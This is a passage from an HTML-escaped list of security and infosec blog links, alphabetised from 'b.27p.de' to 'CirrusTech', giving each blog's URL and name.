  &lt;li&gt;&lt;a href=&quot;https://b.27p.de&quot;&gt;b.27p.de&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.b1ack0wl.com&quot;&gt;b1ack0wl&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://b1tbreaker.com/blog/&quot;&gt;b1tbreaker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://babligan.github.io&quot;&gt;Babligan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://back.engineering&quot;&gt;Back Engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.badsamurai.dev&quot;&gt;B’AD Samurai&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bad5ect0r.sh/posts&quot;&gt;bad5ect0r&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://badbit.vc/index.php/category/blog/&quot;&gt;badbit.vc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://badcyber.com&quot;&gt;BadCyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://badoption.eu/blogs/&quot;&gt;BadOption.eu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bahruz.me/blog/&quot;&gt;Bahruz Jabiyev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://baibhavjha.com.np&quot;&gt;Baibhav Anand Jha&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bakerstreetforensics.com&quot;&gt;Baker Street Forensics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://balintmagyar.com/index.html&quot;&gt;Bálint Magyar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://baltazarstudios.com/blog/&quot;&gt;Baltazar Studios&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bananamafia.dev/post/&quot;&gt;Banana Mafia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://banditsbytes.net/post/&quot;&gt;The Bandit’s Bytes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://barbellsandrootshells.com/blog&quot;&gt;Barbells and Root Shells&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bartunek.me&quot;&gt;bartunek.me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bashbreach.com&quot;&gt;BashBreach&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bastibl.net&quot;&gt;Bastian Bloessl&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.dylan.codes&quot;&gt;batsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://bazad.github.io&quot;&gt;bazad.github.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://bbqsec.io&quot;&gt;BBQSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://betheadversary.com/posts/&quot;&gt;Be The Adversary&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://be4sec.com&quot;&gt;Be4Sec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securib.ee&quot;&gt;BEELOG&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://beesley.tech/blog/&quot;&gt;Beesley.tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.beetles.io&quot;&gt;Beetles Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://j4s0nmo0n.github.io/belettetimoree.github.io/&quot;&gt;Belette Timorée&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ipanda.co.in/posts.html&quot;&gt;Believe and Persist&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.belovedtech.com&quot;&gt;BelovedTech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://benjaminstrick.com/blog/&quot;&gt;&amp;lt;Ben&amp;gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ben.balter.com&quot;&gt;Ben Balter&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://benjaminheise.com/posts/&quot;&gt;Ben Heise&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.benpri.me&quot;&gt;Ben Prime&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://benstoneonline.com&quot;&gt;Ben Stone Online&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bentasker.co.uk/categories/cat_blog.html&quot;&gt;Ben Tasker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.benjojo.co.uk&quot;&gt;Ben’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://ben.the-collective.net&quot;&gt;Ben’s ideas and projects&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bend0us.github.io&quot;&gt;BEND0US&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://healdb.tech/blog/&quot;&gt;Benjamin Heald Personal Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://benjiv.com&quot;&gt;Benji Vesterby&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.benthamsgaze.org&quot;&gt;Bentham’s Gaze&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bergee.it/blog/&quot;&gt;Bergee’s Stories on Bug Hunting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bernardoamc.com/posts/&quot;&gt;Bernardo de Araujo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://betterappsec.com&quot;&gt;better appsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.betterhacker.com&quot;&gt;{BETTER} HACKER&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ckd3.com&quot;&gt;Between The Hacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://between-two-firewalls.ghost.io&quot;&gt;Between Two Firewalls&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://aszx87410.github.io/beyond-xss/en/&quot;&gt;Beyond XSS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bhashit.in/?page_id=61&quot;&gt;Bhashit Pandya&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bhavukjain.com&quot;&gt;Bhavuk Jain&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.bi.tk&quot;&gt;bi.tk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bigous.me&quot;&gt;big0us&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://billdemirkapi.me&quot;&gt;Bill Demirkapi’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sempf.net&quot;&gt;Bill Sempf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://billdemirkapi.me&quot;&gt;Bill’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://binarydebt.wordpress.com&quot;&gt;Binary Debt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://binaryresearch.github.io&quot;&gt;Binary Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://binaryhax0r.blogspot.com&quot;&gt;Binary’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mutur4.github.io/posts/&quot;&gt;BinaryChunk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.tomtombinary.xyz/articles/&quot;&gt;BinaryLabs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shrutirupa.me/posts/&quot;&gt;Binge on Cyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.bishopfox.com/tech-blog&quot;&gt;BishopFox&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thebitexplorer.com&quot;&gt;The Bit Explorer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bitquark.co.uk/blog/&quot;&gt;Bitquark&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.c0d3xpl0it.com&quot;&gt;Bits of Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bitsadm.in&quot;&gt;Bitsadmin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bkimminich.github.io&quot;&gt;Björn Kimminich&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bl4ckarch.github.io&quot;&gt;bl4ckarch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.blackswansecurity.com&quot;&gt;Black Swan Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blackcloud.me&quot;&gt;BlackCloud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blahcat.github.io&quot;&gt;Blah Cats&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://signifi3d.github.io&quot;&gt;Blake Eakin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bmcder.com&quot;&gt;Blake’s R&amp;amp;D&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blueteamtactics.net&quot;&gt;Blake Regan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blas.me&quot;&gt;Blas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://matatall.com&quot;&gt;Blawg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bartblaze.blogspot.com/&quot;&gt;Blaze’s Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bleekseeks.com&quot;&gt;Bleekseeks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.alevsk.com&quot;&gt;Blog de Alevsk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.security-chu.com&quot;&gt;Blog de Ciberseguridad en Latinoamérica&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cri.epita.fr&quot;&gt;Blog du CRI&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://f1sh.site&quot;&gt;BLOG OF F1SH&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://osandamalith.com&quot;&gt;Blog of Osanda&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.gypsyengineer.com/en/&quot;&gt;The blog of a gypsy engineer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.deesee.xyz&quot;&gt;BLOG_TITLE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blooteem.com/blogposts&quot;&gt;BlooTeem&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blueteamblog.com&quot;&gt;Blue Team Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bnbdr.github.io&quot;&gt;bnbdr&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bobgalley.blog&quot;&gt;Bob Galley&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://syscall.eu/blog/&quot;&gt;Bof.&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bogner.sh&quot;&gt;Bogner.sh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bohops.com&quot;&gt;bohops&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xboku.com&quot;&gt;boku&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://boku7.github.io&quot;&gt;boku7&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.kwiatkowski.fr&quot;&gt;Borderline&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://br0k3nlab.com/posts/&quot;&gt;br0k3nlab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://br0nw3n.com&quot;&gt;Br0nw3n’s World&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bracamontesman.click/blog.html&quot;&gt;bracamontesman dot click&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.brainonfire.net/blog/&quot;&gt;Brain on Fire&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://brainattic.in&quot;&gt;brainattic.in&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.fredericjacobs.com/blog/&quot;&gt;BrainOverfl0w&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://y4y.space&quot;&gt;Brandon Shi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hezmatt.org/~mpalmer/blog/archives.html&quot;&gt;Brane Dump&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.kellybrazil.com&quot;&gt;Brazil’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://breakdev.org&quot;&gt;BreakDev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://breaking-bits.gitbook.io/breaking-bits/&quot;&gt;Breaking Bits&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://axcheron.github.io&quot;&gt;BreakInSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://breanneboland.com/blog/writing-and-talking/&quot;&gt;Breanne Boland&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.infosecb.com&quot;&gt;Brendan Chamberlain&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tiszka.com&quot;&gt;Brendon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://buer.haus&quot;&gt;Brett Buerhaus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://brettshavers.com/brett-s-blog&quot;&gt;Brett Shavers | Ramblings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sizzop.github.io&quot;&gt;Brian Beaudry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://briansmith.org&quot;&gt;Brian Smith&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.bricked.tech&quot;&gt;bricked.tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.defcesco.io&quot;&gt;Bridgeblog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bright.engineer&quot;&gt;Bright Engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://brightprogrammer.netlify.app/#posts&quot;&gt;BrightProgrammer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://broken-by-design.fr/posts/&quot;&gt;Broken By Design&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bruteratel.com/blog/&quot;&gt;brute ratel By Dark Vortex&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://brutelogic.com.br/blog/&quot;&gt;Brute XSS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://brutecat.com&quot;&gt;brutecat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bryanmcnulty.github.io&quot;&gt;Bryan McNulty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://brycec.me/blog&quot;&gt;brycec.me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.buchodi.com/&quot;&gt;Buchodi’s Threat Intel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pratikyadav0.blogspot.com&quot;&gt;Bug bounty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seanmelia.wordpress.com&quot;&gt;Bug Bounty Findings By Meals&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.bugzero.io&quot;&gt;Bug Zero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bugra.ninja&quot;&gt;bugra.ninja&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bughunt1307.herokuapp.com&quot;&gt;The bugs you are looking for&lt;/a&gt; and &lt;a href=&quot;http://www.missoumsai.com&quot;&gt;this&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bunniestudios.com/blog/&quot;&gt;bunnie:studios&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://burninatorsec.blogspot.com&quot;&gt;Burninator Sec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.bushidotoken.net&quot;&gt;BushidoToken&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bussink.net&quot;&gt;bussink&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://x0rb3l.github.io/robelcampbell/posts/&quot;&gt;The Butcher Shop&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bw3.dev&quot;&gt;bw3.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bwlryq.net/posts/&quot;&gt;bWlrYQ&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bytebreach.com/blog/&quot;&gt;Byte Breach&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://byte.how/posts/&quot;&gt;byte.how&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://c-apt-ure.blogspot.com&quot;&gt;c-APT-ure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://c-skills.blogspot.com&quot;&gt;c-skills&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.christinamorillo.com/blog&quot;&gt;C:\HRISTINA MORILLO&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://c0nfusion.org/posts/&quot;&gt;c0nfusion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://c2links.com/blog-posts/&quot;&gt;C2Links&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cafaro.net&quot;&gt;Cafaro’s Ramblings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://caffeinevulns.com&quot;&gt;Caffeine’s Site&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://calebsima.com&quot;&gt;Caleb Sima&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.calif.io&quot;&gt;Calif&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://call4cloud.nl&quot;&gt;Call4Cloud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://campbell.scot&quot;&gt;campbell.scot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://ha.cker.info&quot;&gt;Can I Haz Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.can.ac&quot;&gt;Can.ac&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.canadavpns.com/blog/&quot;&gt;Canada VPNs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kentindell.github.io&quot;&gt;CANIS Automative Labs CTO blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://captmeelo.com&quot;&gt;Capt. Meelo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.shoebpatel.com&quot;&gt;CaptainFreak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://carlo.marag.no&quot;&gt;Carlo Maragno&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://carnal0wnage.attackresearch.com&quot;&gt;Carnal 0wnage&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://carrickbartle.com&quot;&gt;Carrie Bartle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://casvancooten.com&quot;&gt;Cas van Cooten&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cascadiacrow.com&quot;&gt;Cascadia Crow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cassiecage.me&quot;&gt;Cassie Cage&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://castilho.onrender.com&quot;&gt;castilho&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://casualdigitals.net/article/all/&quot;&gt;Casual Digits&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://naehrdine.blogspot.com&quot;&gt;cat /dev/brain&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xra.github.io/posts/&quot;&gt;cat /etc/shadow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://catchingphish.com/posts&quot;&gt;Catching Phish&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://catileptic.tech/posts/&quot;&gt;Catileptic.tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://catnip.fyi/posts/&quot;&gt;catnip&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://catscrdl.io/blog/&quot;&gt;CATSCRDL&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://cawanblog.blogspot.com&quot;&gt;cawan’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cems.fun&quot;&gt;Cem’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cendyne.dev/posts/&quot;&gt;Cendyne.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://cerbersec.com&quot;&gt;cerbersec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ceres-c.it&quot;&gt;ceres-c&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cherrabinesrine.github.io&quot;&gt;CH. Nesrine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chaah.awankloud.my&quot;&gt;Chaah&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.champtar.fr&quot;&gt;champtar.fr&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chancej715.github.io&quot;&gt;chancej715&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://badshah.io&quot;&gt;Chandrapal Badshah&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chao-tic.github.io/blog/&quot;&gt;Chao-tic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://charleseroop.com/blog/&quot;&gt;Charles Roop&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ceriksen.com&quot;&gt;Charlie’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opensecgeek.blogspot.com&quot;&gt;Chatter From a Charlatan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.chebuya.com&quot;&gt;Chebuya&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://cheeky4n6monkey.blogspot.com&quot;&gt;Cheeky4N6Monkey&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.chesterwisniewski.com/post/&quot;&gt;Chester Wisniewski&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chiefgyk3d.com/blog/&quot;&gt;ChiefGyk3D&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chompie.rip/Home&quot;&gt;chompie at the bits&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chovid99.github.io/posts/&quot;&gt;Chovid99&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chrisclarkson.org/posts/&quot;&gt;Chris Clarkson&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securesolutions.no&quot;&gt;Chris Dale&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.chrisfarris.com&quot;&gt;Chris Farris&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.dlp.rip&quot;&gt;Chris Fenner&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://clo.ng&quot;&gt;Chris Long&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.christophermullins.com&quot;&gt;Chris Mullins&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chris.partridge.tech&quot;&gt;Chris Partridge&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secure.dev&quot;&gt;Chris Rohlf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chrissanders.org&quot;&gt;Chris Sanders&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.chrisdcmoore.co.uk&quot;&gt;Chris’s Security and Tech Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xybytes.com&quot;&gt;Christian Bortone&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://privateoctopus.com/blog.html&quot;&gt;Christian Huitema&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cmichel.io&quot;&gt;Christoph Michel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.brocas.org&quot;&gt;Christophe Brocas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.christophetd.fr&quot;&gt;Christophe Tafani-Dereeper&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.jerkeby.se&quot;&gt;Christopher Jerkeby&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.tarq.io/tag/security/&quot;&gt;Christopher Tarquini’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chuongdong.com/blog/&quot;&gt;Chuong Dong&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chybeta.github.io&quot;&gt;Chybeta&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cinzinga.com/posts/&quot;&gt;cinzinga&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ciofecaforensics.com&quot;&gt;Ciofeca Forensics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cirriustech.co.uk/&quot;&gt;CirrusTech&lt;/a&gt;&lt;/li&gt;
